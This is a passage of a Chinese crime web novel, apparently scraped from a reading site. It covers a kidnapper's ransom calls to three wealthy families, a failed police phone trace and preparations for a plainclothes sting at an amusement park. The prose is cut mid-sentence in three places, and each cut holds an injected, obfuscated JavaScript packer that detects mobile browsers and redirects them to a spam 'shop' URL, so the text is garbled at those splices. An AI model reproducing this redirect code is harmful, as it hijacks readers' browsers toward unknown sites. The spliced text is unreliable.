警方也没闲着,秦居烈向部下打了个手势。其余人立刻会意,无声无息地操作起了电脑,他们早就在座机底下植入了监听设备,绑匪电话的信号会同步传输到警方这里,随时开启追踪定位。 其中一名技术侦查警员戴上设备,目不转睛地盯着一个屏幕。老太太也在挂心绑匪电话,抽空看了一眼电脑。发现那屏幕上多是海波一般紊乱的纹路,曲曲折折的线路好似要通往一处未知的黑暗隧道,比什么股票走势图还复杂。 老太太看不明白,也嫌眼晕,移开了目光。 这些不明白的追踪仪器,受害者家属中的何家见了,却心神大震,觉得自家孩子柯柯有回来的希望。 众人屏息凝神。 这开场白没什么问题,警方要掌握对话节奏,必须先声夺人,谁曾想局势急转直下。 只听电话那头绑匪的声音经过变声伪装,是毫无感情的电子音。 偏偏机械声外,又透出几分鬼气森森和阴沉沉的语调,听得受害者家属极为不适,没等他们消化,就听到绑匪炸裂般的开场白。 “你们报警了?” 这是笃定的语气。 这话一出,仿佛戳破什么秘密,这坐满警察的客厅里,死寂得落针可闻,气氛诡异又沉默,所有人脸色剧变。 不是质问,不是愤怒,却比恐吓与质问吓人多了。 老太太心理素质不高,瞪大了眼睛,差点吓得魂飞魄散。如果不是一旁的女警捂住她的嘴,恐怕老太太就要叫出声了。 男主人也一瞬间忘记了呼吸,一股寒气从脚底升起。 他强行冷静道:“我没有报警,你为什么这么说?” 绑匪似乎笑了,还是轻笑,“不要小看了我的消息渠道。” ——居然被知道了!他们完了! 整个客厅的长沙发,坐了三家受害者家属吓得手脚发凉,他们此刻的心情惶惶无措,唯有省局派来的谈判专家周克夜、犯罪侧写师和秦居烈互相对视了一眼。 犯罪侧写师,顾名思义,对犯罪分子进行侧写,通过凶手作案手法、作案现场等特征去勾勒犯罪样貌的职业,比如犯罪者是一个什么样的人,性别、年龄、性格、身高体重、外貌特征,可能从事的职业和人生经历等,主要协助警方破案,进一步缩小侦查范围。 全国范围内的侧写师数量少,省厅这一次专门派了一名过来,可见对这起案子的重视。 绑匪这句话看似平常,却透露了一点信息。 之前这名省厅侧写师已经初步看过两次凶案现场了,再加上这一次亲临现场,在原有数据上,他对犯罪分子又有所了解更新,唰唰唰提笔写下:【绑匪身材高大,年龄约30到40……】 正是年富力强的年纪,挟持几个孩子才不费吹灰之力。 【从事的职业涉及信息交流,非离群索居之人,性格颇为自负,生活中应处处有所体现。】 秦居烈皱了皱眉,这点就跟第一次侧写冲突了,一般而言,离群索居之人更好实施犯罪,而不被周围人发现。 侧写师想了又想,写下:【让家属与犯罪分子多多对话,信息数据还不够完善】 这句话不说,他们心中也清楚,闲聊能暴露的细节更多,前提是绑匪愿意配合。 另一边,蒋飞也意识到了不对劲,拉开了窗帘,往远处眺望,这一看他直接骂出了声,“草!是记者!” 距离窗帘、阳台最近的警察们立刻凑过去,这一看他们瞠目结舌,心中疯狂想骂人,只见鹭湖花园外挤满了扛着长枪短炮的记者。 他们没有看错,确实是记者,这些人进不去安保严密的鹭湖,便拥堵在门口,更有人直接拍摄大门,进行现场直播。 何家人从事娱乐行业,见此场景直接晕了过去。 他们不会忘记,十几年前发生在江州市的一起绑架案。那是一桩令人唏嘘的案子,某大明星的孩子被绑架后,绑匪狮子大开口,索要一千万,结果一些媒体记者为了博取眼球,全程跟踪拍摄,搅乱了一切行动,最终导致这场交易失败,绑匪狠心之下直接撕票。家属悲痛欲绝。 这位男明星事业的成功,仰赖于这些媒体记者终年对他的追捧,可他孩子的性命、家庭的破碎同样也毁于媒体记者的无孔不入。 他们得到了流量和关注。 最后这位明星收获了什么,只收获了自己孩子冰冷的遗体和一地鸡毛。 想想这前车之鉴,何家人能不晕吗? 至于警方这场部署经过了一天一夜,一切隐秘又低调,内部没人会泄露机密,受害者家属们也大多配合的情况下,这些媒体记者怎么知道这起绑架案的…… 想到这里,秦居烈烦躁地揉了揉眉心,谁也不会小看一些大媒体手眼通天的能力。 更何况受害者家属再怎么配合警方,他们神魂无措、痛哭流涕的样子,没能成功掩饰,这几日八成也无心处理公司产业和一些商业事务。 他们的反常,估计让一些媒体记者嗅到了某种黑云压城、山雨欲来的气息,再细细深入一打听,就知道了真相。 于是一个个跟打了鸡血似的,一窝蜂地赶往了浣花区。某种程度上说,专业记者捕捉蛛丝马迹的能力,真不输给一些国外的职业侦探。 而媒体都知道了,那绑匪知道也不意外。 “怎么办啊警察同志,绑匪知道了……”受害者家属一脸窒息,几乎无法呼吸。 他们嘴里没说,神色已写满了悔恨,悔恨什么,后悔自己报警了。 一片混乱中,侧写师唰唰唰又写下:【与娱乐业有交流】一般来说隔行如隔山,普通人的职业大部分都与之无关,接触不到娱乐业人士,而绑匪能接触到娱乐业的人。 【深谙心理学】 可能是职业需要,让凶手的心理学造诣出神入化,一句话就击破了受害者家属的心防,让警方和受害者家属本来紧密结合的联盟濒临瓦解。 “我没有……”面对人山人海的记者,男主人还想争取,或者说狡辩一下。他不敢去想象,绑匪快他们一步,知道他们报警了,警察还坐满了整个屋子后,会对孩子做出什么事。 绑匪好似轻笑了一声,电子音冰冷。 “撒谎对你没有任何益处的,陆先生。”要知道,你孩子可是在我手里。 “我、我……”男主人一阵头晕目眩。 听了这话,老太太最是情绪激动,立刻推开了身边的女警,大声道:“是我们的错,我这就把他们赶走!”说罢,老太太真的直接动手驱逐人。 “我错了,我不该报警。” 抵赖既然没有用,不如顺势承认错误。 这一低头,局势逆转,对话节奏已经彻底交了出去。可警方也无能为力,警匪对决有时候拼的就是信息差,谁掌握的情报线索越多,谁就能立于不败之地。 绑匪又道:“你们不该和警方合作,我的目的自始至终只有一个,拿到钱,就会把孩子放回去。” 这是什么鬼话,能骗得过谁? 警方集体皱眉。谁曾想,客厅沙发坐着的几名家属却眼生希冀,瞳孔里有亮光。 秦居烈面沉如水,他面无表情地做了个手势。 这手势的意思是,绑匪手里握有人质,不能轻易激怒,也不能轻举妄动,要先确定人质安全。毕竟他们不是抓住凶手就完事了,还要把三个孩子也平安带回来。 都是警局精英,无须任何对话,谈判专家周克夜读懂了他释放的信号,递过纸条,教男主人如何说话。 “好,我会努力凑钱。”男主人一字一顿道。 “我喜欢识时务的人。我再重申一遍我的要求,一千五百万美元,一分钱都不能少,不要连钞。下一次我给你打电话是明天同一时刻。” 绑匪冷冰冰地通知完毕,似乎就想结束电话。 男主人一惊,谈判专家及时递过纸条,他飞快瞄了一眼,赶紧念出声才延续了这场敌我不对等的对话。 “等等,我能跟孩子通一下电话吗?” 电话里冷笑一声,“怎么,你担心孩子死了?” 男主人不敢说是,生怕激怒对方,让对方拿孩子出气。 “我可以成全你。”绑匪意外地好说话,不知为何,他的声音还温柔下来,只是温柔的语调却更不舒服,如同一条吐信毒蛇,蜿蜒又黏腻地爬过人的心脏,令人不寒而栗。 “孩子他没怎么样吧?”陆父冷汗涔涔,握紧听筒,手心一片黏腻。 “你家孩子睡了,我这就去叫他起来。” 睡了? 这都早上九点了,是正常睡觉还是被下了药?陆父心弦紧绷,不敢想象,只能为孩子揪心。 陆父不知,绑匪没有下药,孩子是正常歇息的。被绑架后一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14639425|156349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天一夜他们都不敢睡,肚子又饿又渴,精神高度惧怕又紧绷,直到今天凌晨,极度疲乏之下,身体实在受不了。 三个孩子互相抱着,倚着墙面沉沉睡去。 绑匪来的时候,就看到这三个孩子睡得正沉,脸上犹有泪痕。男人脸上带笑,笑意却不达眼底,他走了过去。 脚步声惊醒了三个孩子。 他们一瞬间惊醒,不分你我,惊恐地抱成一团,像极了遇到外敌的小动物。自从沦落到这里,他们就知道自己的处境了,可没想到危险来得那么快。他们看到绑匪大手一抓,目标选中年龄最小的小胖子。 小胖子被抓起来时,以为自己必死无疑了,像一只白胖的小企鹅开始挣扎。可饿了一天的他,根本不是成年人的对手。 男人意味不明笑了两声,仿佛在欣赏蝼蚁在垂死挣扎,“陆小宝,你父亲打电话过来了。” 小胖子一下子呆住了。 “我昨天交代过什么,应该记住了吧。” 小胖子本来开心,瞬间又脸色煞白,温顺地接过电话。他年仅七岁,却也不是傻子,知道自己的人身安全都掌握在眼前这个男人手里。 “他说很想你,你好好跟他说两句吧。” “嗯……”小胖子说,我要冷静,我要冷静,不能惹怒绑匪。可是当电话那头传来父亲熟悉的声音,七岁的小胖子还是一个没忍住,所有冷静弹指间灰飞烟灭,直接哭出了声,大声喊了一句,“爸爸!” 这一充满害怕的哭,是否在绑匪计算之中不得而知。 却像一记重锤击中了所有人,整个客厅兵荒马乱起来。 “小宝,小宝,你怎么样,你没事吧?奶奶错了,不该让你去参加夏令营。”陆家老太太捶胸顿足,哭得上气不接下气。 何家父母和杨家父母也崩溃了,“柯柯呢,小霖呢,他们怎么样!?” “我们都好,就是好饿好渴,肚子好痛,身上也好痛,这里好黑,我们好害怕!”小胖子哇哇大哭。 这一哭不得了,全家都要疯了。 陆父本来还能维持冷静,他在年少吃过不少苦,是一名意志坚毅之人。 可是这个在商政领域无往不利、坚不可摧的商业巨鳄,面对自己孩子被绑架的事实,也脆弱如同一个花瓶,随随便便一点刺激就碎了。 孩子一句爸爸我害怕,就让他的眼神在这一刻溢满了痛苦,看似武装得坚不可摧的心一下子土崩瓦解。 不顾谈判专家的阻拦,他脱口而出道:“你们想要什么,我都可以给你们,我的命给你,我名下的所有资产也都能给你,请你千万别伤害我的儿子!”他把姿态放低。 “对,我们什么都能给你。” 老太太也哭倒在沙发上,再度崩溃。 这就是绑匪的目的,情感永远是摧毁人的。 当我抓住了你的软肋时,你就得任我允取允求了。 其他两家人也是如此,眼中噙泪,抢过话筒争相表态,生怕慢了一步,恨不得把姿态放低,低到尘埃里去,就希望能把孩子平安换回来! 周克夜完全阻止不及,谈判本来就是一场商量,筹码要一点一点抛,一下子交出底牌,被人知道底线后,绑匪气焰只会更加嚣张。 关心则乱,关心则乱啊! 通话还没有结束,可警匪两方的第一场交锋,已经完全陷入了被动。 不过警局内部的第一要求也是孩子安全优先,即使陷入被动,绑匪要求通通先答应下来。 “别哭了。”绑匪的话明明十分温和,却如同圣旨一般,小胖子一下子止住了嚎啕,如同被魔鬼扼住喉咙不敢发声。 小小一处细节,透出无限深意。 陆家父母那是难受坏了,自家小祖宗什么时候这么听话过,一定受到了非人的虐待。 “准备好赎金,赎金一到,我就会放人。” 家属们信了,即使是侥幸地相信。 唯有江雪律知道。 这个男人嘴里满是谎言,他话语款款、慢条斯理,嘴里口口声声说着一旦赎金到手,立刻放人,可他没有戴头套—— 他没有在孩子面前掩饰自己的真实面孔,说明他不怕暴露。 撕票的可能性是100%! 只不过是给人一点希冀,将人玩弄于股掌之中,最后再亲手将之破坏。 另一边 江雪律拿起纸和笔,从小到大美术老师永远在生病,他没怎么上过美术课,画技水平实在有限,他正在绞尽脑汁回忆绑匪的样貌,准备一笔一笔画下来:先画脸形,然后再画头发吧,眉毛是这样的,嘴巴是那样的…… 13. 第十三章 通话还在继续。 绑匪道:“那么,静候佳音。” 潜台词,你们努力去凑钱吧。 几秒钟后,随着一声长长的“嘟”音,好似刺耳的鸣笛声,电话挂断了。这结束的通话,令人久久无法回神。 陆父手还握着听筒,人却痴在原地,如一具抽走灵魂的躯壳。 秦居烈目光如电,望向技术侦查员,“追踪到绑匪位置了吗?”他们与绑匪通话时长不短,足够训练有素的警员准确追踪定位了。 肩负着所有同事的期待,电脑屏幕前的技侦抬起头来,一双眼布满倔强的红血丝,他咬了咬嘴唇:“追踪到了,一个确切地点……” “哪里?” “行啊小李!这一次你要立大功!”所有人激动起来,没想到事情比想象中顺利。 面对夸奖,名叫小李的警员脸色凝重,他敲击了几下电脑:“你们先别夸我。先看看地点再说,绑匪显示的定位是国外。” “我用全球最新GPS定位技术去查看,发现那是一座国外废弃已久的古堡。”曲折离奇的线路,幽暗的隧道最后竟通往跨越大洋彼岸的地方,想想也是令人生气。 “国外……”众人愣住了。 想也知道不可能!嚣张的匪徒还没那么神通广大,能把三个孩子转移到国外,而他们局里的技侦更不可能出错。 “第一次追踪地点的结果如此。” 当定位的地点显示出来时,这名警员就知道了,他被障眼法玩弄了,他立刻折回去重新破解追踪,一路追踪很顺利,这次路线成功了,可中途却被堵在了一堵高墙之外,“我碰到了密钥。” 那处密钥显示“游客止步”。 游客指的谁,自然指的是他们这些人。 作为一名网络追踪技术已经如火纯青的侦查员,李纯感觉自己遇到了棘手的难题。那是一处黑暗通道,在那由数据组成的虚拟世界,部分人在其中遨游,信息受到了保护。 而他这种外来人,除非有“邀请函”即黑暗网络的入口密码,才能进去一探究竟。高墙之外,他试图破解,结果只成功进去了100米,50米后他发现这处密钥不是那么好进的,周围有重兵把守,庞大、细碎的数据组成的虚拟世界延伸到了极致,似一片深海,能淹没所有游客。 小李一下子就清楚了,注定要无功而返。 “绑匪果然有出色的反追踪意识和手段,完全是有备而来……” 其他人替他下了结论。 “怎么会追踪不到呢?” 齐翎不是很明白,在警校上课时,他就被教授们灌输了警方追踪手段非常优秀的概念。在他看来,市局的技术侦查员只比无所不能差一点点。 蒋飞叹了一口气,半晌他拍了拍新人警察的肩膀:“你还年轻,不知道这世界有多复杂。” 如果把人与人活着的现实当成一个世界,那在现实世界的基础上,还衍生出了一个庞大的网络虚拟世界,那个世界海纳百川、藏污纳垢。 “我不明白啊蒋队。” 小年轻急了。 两名儿童被害,还有三名儿童生死未卜,随时命悬一线,齐翎自然焦急。 “简单点的解释就是,绑匪在暗网上花大价钱买了反侦察技术。”在那大千世界,只要有钱,你什么都能买到,利益才是维系交易的一切,良知和道德是最不值钱的东西。只要价钱合理,来自世界各国无数顶尖黑客,不问缘由,愿意为你保驾护航。 李纯是一名极为优秀的网络技术侦查员,可他要面对的是数量不止一名的黑客。绑匪将自己的真实定位隐藏在重重加密之后,怎么探查自然也探查不到。 这个解释就简单粗暴许多了,黑暗网络之名,他也有所耳闻,齐翎脸色一阵青一阵白,“那我们岂不是抓不到了?” 蒋飞:“还没有,能抓到。” 只是通过电话去追踪定位这条线被人砍断了。 众人简单地开了个小会。 在场所有人清楚知道一件事,那就是时间的紧迫。 秦居烈望向陆家的古钟。 如今是九点十八分。 距离绑匪下一次通话,还有二十三个小时四十二分钟。 随着时间一点点流逝,本来灵魂出窍的受害者家属们,也很快惊醒过来,“对凑钱!我们马上凑钱!” 这是绑匪好心递来的橄榄枝,却成了受害者家属目前唯一的信念。 必须在下一次通话前,凑够足够的赎金,三家忙碌起来。 叮铃铃的电话响个不停,找银行借款的,找身边亲戚借的,还有给公司财务打电话说急用钱的。这些反常引起了不小的连锁反应。 “我没糊涂,快点打钱,我是你老板你还质疑我的决定?对,我是说过超过一千万的申请要提前打报告,但这一次真有紧急事,事急从权你知道吧?” “要五百万美金,不要连钞,我知道这有点难,给你半天时间……你老板我没疯我也没被骗,行,我们打视频电话。不可能是AI换脸,你让我说我们之间发生过的至少三件事?你疯了吧!再磨磨叽叽,我让你滚蛋!” 连老太太都拿出首饰盒说打算找银行抵押变卖。 总之,两方都没有闲下来,在倒计时之前努力做出行动。 关于金额这点,秦居烈觉得有点不对,“五百万美金……”一种直觉告诉他,这里有问题。 要知道绑匪明显不是一个普通人,他手段残忍行事果断,反侦察意识也极强,还深谙心理学,他怎么会要五百万美金这个数字。 一个远没有踩在众人心里底线上,令人感到屈辱又不得不去做的数字。 周克夜也感到一股说不上来的强烈感觉,很不对劲。 “五百万怎么了吗?”齐翎问,“太多了?”对小警察来说,这笔钱已经是天文数字了。 秦居烈和周克夜,两位成熟的精英对视一眼,皆没有说话,兀自陷入沉思。 不,恰恰相反,这笔钱不多。 五百美元,换算成人民币,也只有三千多万。在一个相当合理的范畴内,没有狮子大开口,所以才不对劲。 能在浣花区落户的富豪家,谁家拿不出三千多万。即使流动资金稍微困难点,也是手续折腾一点。警方介入后,银行会给三家大开绿灯,筹钱的速度会更快,没有什么困难。 而三千多万,对何、杨、陆三家人来说,算不上伤筋动骨,更算不上元气大伤……这样的金额充满玄机,好似绑匪冷酷面具下,忽然展示了一丝怜悯的温情。 这可能吗? 一个罪犯会有温情?恐怕温情的假象背后,是一处无底深渊。 秦居烈善于深思熟虑,忍不住多想,心里滑过一丝警觉。 周克夜也想不通,他道:“也许单独一家三千万看似不多,可三家加起来金额已经超过一个亿了,绑匪没那么贪得无厌。” 毕竟对普通人来说,一个亿啊,传出去都骇人听闻! 什么胃口啊能吃得下! —— 另一边,江雪律在画画,作为一名半路出家的高中生,他第一次作画失败了。 我可能没有艺术天赋…… 他盯着白纸上的四不像,怀疑人生,气馁地揉成一团,重新从桌子上抽了一张纸,画了一半稍微有点感觉了,也感到自己手法娴熟了,才发现背面印有字。 原来这是他的物理卷子,他的长假作业,江雪律赶紧放到一边。 第三次他重新抽了一张全新的纸。 确定正反两面都是空白的,他才提笔作画,同时脑中闪过无数个年头:其实比起画出嫌疑人的样貌,最应该告诉警方的是绑架地点。 少年闭上双眸,慢慢回忆起那个地方。 高耸的水泥灰墙,冰冷、偏僻、废弃,围 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14639426|156349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墙高大遮挡住了阳光,阴冷好似地窖,能把外界一切喧闹隔绝在外。 这是哪里呢,是城市还是郊区,周围没有明显的建筑标志,江雪律也不知道。 除非在梦中有下一次线索。 想到这里,他摈弃一切杂乱,专心地动手描摹起人物像来。他从来没想过,自己的2B铅笔除了填涂答题卡,还用来画画,一张人脸在他缓慢的笔锋之下渐渐成形…… 越画越流畅,好似神灵附体,他连动用橡皮擦的次数都少。 待夜色降临,困意涌现上来,江雪律也一反以前的抗拒排斥,换上睡衣,主动入睡。他睡姿十分安静,双手交叠在小腹,希望睡梦之中,线索能自动降临。 众所周知,念念不忘,必有回响。 —— 二十三个小时之后,地点在陆家客厅,警方严阵以待。 无数双睡眠不足、布满红血丝的眼睛紧紧盯着电话,陆父也是如此,他的脸庞疲惫,看上去似乎三十多个小时不曾睡眠。 旁人劝他多少睡一会儿,他摇头说:“根……根本睡不着啊。”其他家属也跟他症状类似,如游魂一般恍惚,不少人黑色鬓角中还掺了白发。黑白分明,更显触目惊心。 认为陆父在关心孩子的安危,警察们使出浑身解数进行安慰,只收获了陆父僵硬木讷的脸庞和勉强扯动的嘴角。 显然,安慰没有效果,一日不确定孩子的安全,他紧绷的精神一日不能放松。 真是可怜天下父母心。 九点转眼到来,熟悉的铃声准时响起,陆父骤然清醒。 在警方的示意之下接过电话,“喂?” 绑匪一如既往没有多做寒暄,直接道:“不连号的钱筹到了吗?” 钱自然是筹到了。 不过根据谈判专家的说法,不能这么快说出实际情况。希望能尽量拖延时间,让警方找到绑匪的巢穴。 他艰涩道:“请再给我一点时间。” “嗯?” “五百万美金不难,可是不连号的钞票,我……你必须多给我们三家一点时间。”他把自己如何凑钱的困难,事无巨细地描述了一遍,一边是配合警方拖延时间,一边也是为了博取同情。 他本以为绑匪会同意宽限一段时间,毕竟对方说了自己目的是为了钱,一定有耐心等钱筹齐吧。电话那头传来的却是笑声,裹挟着轻蔑和冷嘲令人心颤,“你是真的不怕死,想跟我讨价还价——” 你的弱点可是在我手里。 “把警方教你的话术都丢开吧,他们找不到我的。”男人笑道,言语中的自负之意淋漓尽致。 他一手拎过孩子。 不知道他做了什么,孩子放声大哭,睫毛一颤一颤全是滚下来的眼泪,瞬间击中了所有家长的心防。 “你们别想耍手段,人质在我手里,我一个不高兴,也许会杀人泄愤。如果你们不想收到我快递出去的孩子手指……” 这赤-裸-裸的威胁,想到孩子断裂的手指,血淋淋的景象,家里晕了一片。没人能升起反抗之心。警方倒是气血上冲,怒目圆睁,一个个气得要死:嚣张!实在太嚣张了! 这威胁之语,将陆父的所有侥幸驱逐得干干净净。 他忍下屈辱,只能承认:“钱都筹到了,您还有什么要求?” 绑匪笑:“早承认不就好了。” “钱到手,我们也该进行交易了。” “把钱装进手提箱里,三日后,10月4日星期三早上十点,你提上手提箱到云霄广场,一路往里走,我允许你叫其他人帮忙。具体的见面地点,到时候我会给你打电话。” 说完,“啪”地一声结束了通话。 所有人都来不及反应。 反应过来后,受害者家属还在惊魂未定中,警方却欣喜若狂,约定交付赎金的时间、地点都确定了,他们还不能将人缉拿归案? 14. 第十四章 众人振奋起来。 既然绑匪决定了见面地点,他们决定先下手为强。 所有人立即撤出陆家,只派两名小警员和谈判专家留守,配合绑匪下一次来电。他们主力预备联合省局,支援人手,策划一起逮捕行动。 众人风风火火地行动起来。 市局和省里也亲自来电,一通很长的电话,秦居烈接的,三言两语概括便是两件事:首先云霄广场是著名游乐之地,不可能疏散游客,所以警方不能惊扰游客,造成恐慌! 其次就是这起绑架案媒体已经报道出去了,如今闹得很大,届时赎金交易地,唯恐天下不乱的三流媒体可能会现场直播,必须把影响控制住了。最关键一点:这个案子必须破,那三个孩子也必须平安归来。 如果案子破不了,后果你知道吧? 秦居烈知道后果。 在媒体的推波助澜之下,如果案子破不了,江州市警局恐会成为全市的笑话,在市民心中信任感满满的地位会骤然下降。 这一通温言嘱咐电话,给市局增加了无数压力。 秦居烈并没有被压力击垮。 他手里也第一时间拿到了云霄广场的平面图,绑匪精心挑选的见面地点符合警方的心理预期,是一处人头攒动的地方。 云霄广场占地面积极广,内设音乐喷泉、游乐场,旋转木马、云霄飞车和摩天轮等游乐设施一个不缺,平日人流量已经足够多,监控难度极大。正赶节假日高峰期,到处都是游客,可以想象这一次的难度…… 一路往里走是什么?是一处丛林悬崖主题的激流勇进,也是参与人数最多的水上游乐项目。 蒋飞经验老到,指了指激流下游,“我猜测,绑匪肯定会要求,在一艘空皮艇过来时,让陆先生把皮箱丢上去,百舸、激流和疯狂的游客,是浑水摸鱼的最好地方,而他在下游接钱。” 这样避免了正面接触,也方便事后遁走。 “在这里布局,一定能抓到人!”蒋飞信心满满。 隔壁岛国发生过不少绑架案,绑匪要求受害者家属驱车,沿大道一路行驶,然后中途趁警方不注意把钱丢到大桥下。还有绑匪指定在人山人海的体育赛事会场进行交易的,更有绑匪要求把钱丢入正在行驶的垃圾车,有绑匪指挥无人机取钱的。 见多了花里胡哨的手段。 9.26这起连环案凶手的手段并不令人惊奇,就是布局麻烦了一些,要出动的便衣数量,远超之前规模。 在目标出现之前,大家必须潜伏,不能打草惊蛇。 “有可能……” 秦居烈伸出修长的手指,点了点地图,心里闪过一丝怪异。 没等他多想,省局人手来了,他们第一个问题是行动地点,第二问题是: “确定绑匪就一人?你们如何确定?” 世纪之交国内出现过许多以绑架富豪为目的的悍匪,那些悍匪背后都有组织,人手两人到六人不等。 人数的确定至关重要。 以防绑匪的后手,比如同伙A落网,同伙B干脆把人质杀了。 情报组组长站出来,“你们看监控。” 他播放起来这几日移交过来的监控视频,可以见到森林大道这条主干道的分支,有一辆白色轿车驶入,司机戴着帽子遮挡了视线。驶入高速的时间跟孩子失踪时间基本吻合,这辆白色轿车也非常有嫌疑,一个小时后在高速公路站点返回,经过三岔口,又专门选了最人烟稀少的一条路,明显是在迷惑警方的视线。 更重要的是,在一处拐角监控里,拍到了孩子的衣物。 而后车座无成年人,说明从制服孩子到带走的过程,绑匪只有一个。 “最后这辆车呢?”有人注意到了这点。 “在一处废弃的公共停车场找到了,是一辆源头不明的被盗车。车内的毛发、DNA都被清洗过了。” 监控只是其中一个证据,第二是关于性格上的猜测。 警局内部一致认为,匪徒是一个极端自负之人,骄傲自负之人素有掌控欲,不屑与人合作,他更愿意自己手把手把控进程。多一个人看似得到一分助力,实则多了不稳定因素,事后还可能因分赃不均惹出祸端。 想想某岛国那起曾轰动全国的三亿日元抢劫案,至今还是一起未破悬案,说明有时候想策划惊天动地的行动,一个人足矣。 “言之有理。” 时间一转眼到了三天后。 云霄广场 一辆黑色轿车出现在了正大门,陆博提着箱子,踉踉跄跄地下了车,他身后是两名同样领着箱子的助理。 绑匪允许他带人。 陆博没敢带警察,只带上了两名身材较文弱一看就是普通人的公司职员。这两名助理最初不知道自己要帮老板运送赎金,以为只是长假的第一次出差。 直到行动前一天,陆博才告诉他们真相。一个个呼天抢地拒绝前去,他们不傻,我拿你一万块工资,还要跟你去交易现场,直面穷凶极恶的匪徒,万一血溅当场了怎么办? 不干!绝对不干! 一万块买不了我们的忠诚! 陆博没办法,只好出了十万块。 两名助理“勉为其难”地答应了。 答应是答应了,真正上场时还是缺乏勇气,唯一信任感的来源,是警察。江州市警局告诉他们,不用担心,这一次他们下了血本,出动便衣数量高达百名。 远一点高楼上还出动了狙击手,如果匪徒有什么动静,你们将遭遇什么不测,我们会优先扣响扳机…… 天哪,两名助理一下子感到安全感爆棚。 为了确保行动成功,所有便衣分为了三组。 跟随组,是伪装成一路走马观花的游客,遥遥跟随在陆先生不远不近的地方;前攻组以秦居烈为首,皆是体魄过人的精锐,负责制服嫌疑人;封锁组便衣看似路人,实则堵住了所有可潜逃路线,保证绑匪插翅难逃。 比起老板的魂不守舍,两名助理还算镇定,他们还悄悄左顾右盼,猜测人群之中哪些人是便衣。 是那个坐在椅子上看报纸的中年男人,埋头吃饭的年轻人,卖煎饼果子手法很不熟练的摊主,还是那个一边扫地一边骂游客没素质的清洁工大爷?大爷扫地时袖子下肌肉隆起,一看就不是普通人。最左边那对秀恩爱的情侣也很可疑,男人一直斜眼看路过的女游客,也许有一种可能,男人那双眼睛实际上不是好色,而是在观察可疑人物? 广场太大了,人流又多,气氛一片欢乐,好似人人都是便衣,人人又不是便衣。 齐翎也在人群之中,他坐在一个角落,手里拿着一根烤肠,耳缝里夹着微型耳麦,努力佯装淡定,目光不敢游移。 作为一名警校刚毕业的新人,出道第一桩案子就不同寻常,他见过血迹斑斑的犯罪现场,直面过绑匪电话那头言语的冷酷,今天更是要与上百名警局精锐亲手捕捉这起案子犯罪分子! 第一次遇到这种大场面,齐翎兴奋得一夜没睡,精神极度亢奋。 他难以形容自己的心情,有摩拳擦掌、跃跃欲试的热血,还有恨不得将凶手亲手逮住的咬牙切齿,在场警员他资历最浅,可他也愿意冲锋在最前面。 指挥中心的屏幕,更是将云霄广场各大地点的监控连了过来。警员们的眼如鹰隼一般紧紧盯着屏幕,中心是陆博和两名助理。 众人的心沉着冷静。 这种等待很漫长,每个人都能感受到,一种暴风雨来临前的寂静,随着陆博一步步往交易现场走去,这把火迟早要点燃。 手机那头,绑匪沙哑的声音传来,“我到了,你往里走。” “各单位注意,疑似目标出现了。” 人手一台对讲机,在很长一段时间,只有呼吸声和沙沙的电流声,这时候传出上司那冷漠有力的通知声,所有人精神一凛。 齐翎放下吃到一半的烤肠,心跳加速起来。 不少与他类似的便衣,也开始走动,如同一场戏,一根线牵动,所有人也开始动。 普通的游客还在欢笑,他们不知道,周围将发生一场大案。他们更不知道,自己周围潜伏着警察,这些便衣身上肩负着行动,随身大衣和包里均有配 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14639427|156349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枪。 陆博声音颤抖:“你在哪里?我和助理已经带钱过来了。” 绑匪轻笑:“我在你们正前方五十米,看到那艘空皮艇了吗,把钱放上去。” 每一个箱子都沉甸甸,他们早就猜到中下游应该安排了交通工具。 激流勇进这项目,有很长一段时间的黑暗隧道,非常适合金蝉脱壳,中间紧张刺激贯穿着游客能刺破耳膜的尖叫,中下游又通往三个出口,其中一个通往园区北门。更别说,抵达下游时,一个白色滔天巨浪打过来,人人都会不受控制地闭上眼睛长达数秒。 可警方早有准备。 秦居烈站在高处,目光在一群游客中快速掠过,似乎是转瞬之间,便迅速锁定了其中一个男子。他眯起眼睛,似一只蓄势待发的黑豹,头略歪,一双黑眸落在倍镜上。 风吹过,撩过他的发丝,浅浅露出光滑饱满、轮廓俊美的额头,也露出那双专注犀利的眼。 被他锁定之人,无处可逃。他是行动的最后一道防线。 如果目标人物出现异动,他会……这是省里的通知,人质和家属安全永远是优先级。 一时之间,危险与迷人集中在这个男人身上。 如果远处高楼有人恰好看风景,看到一个大帅哥正好在瞄准,对普通市民而言,这场面估计太刺激了点。 还好,没有他出手的机会。 倍镜中心从男人大腿处移开。 目标人物一踏入监控范围,白色巨浪刚准备掀起,如一道水帘要劈开天与地,在一名女游客的尖叫声中。 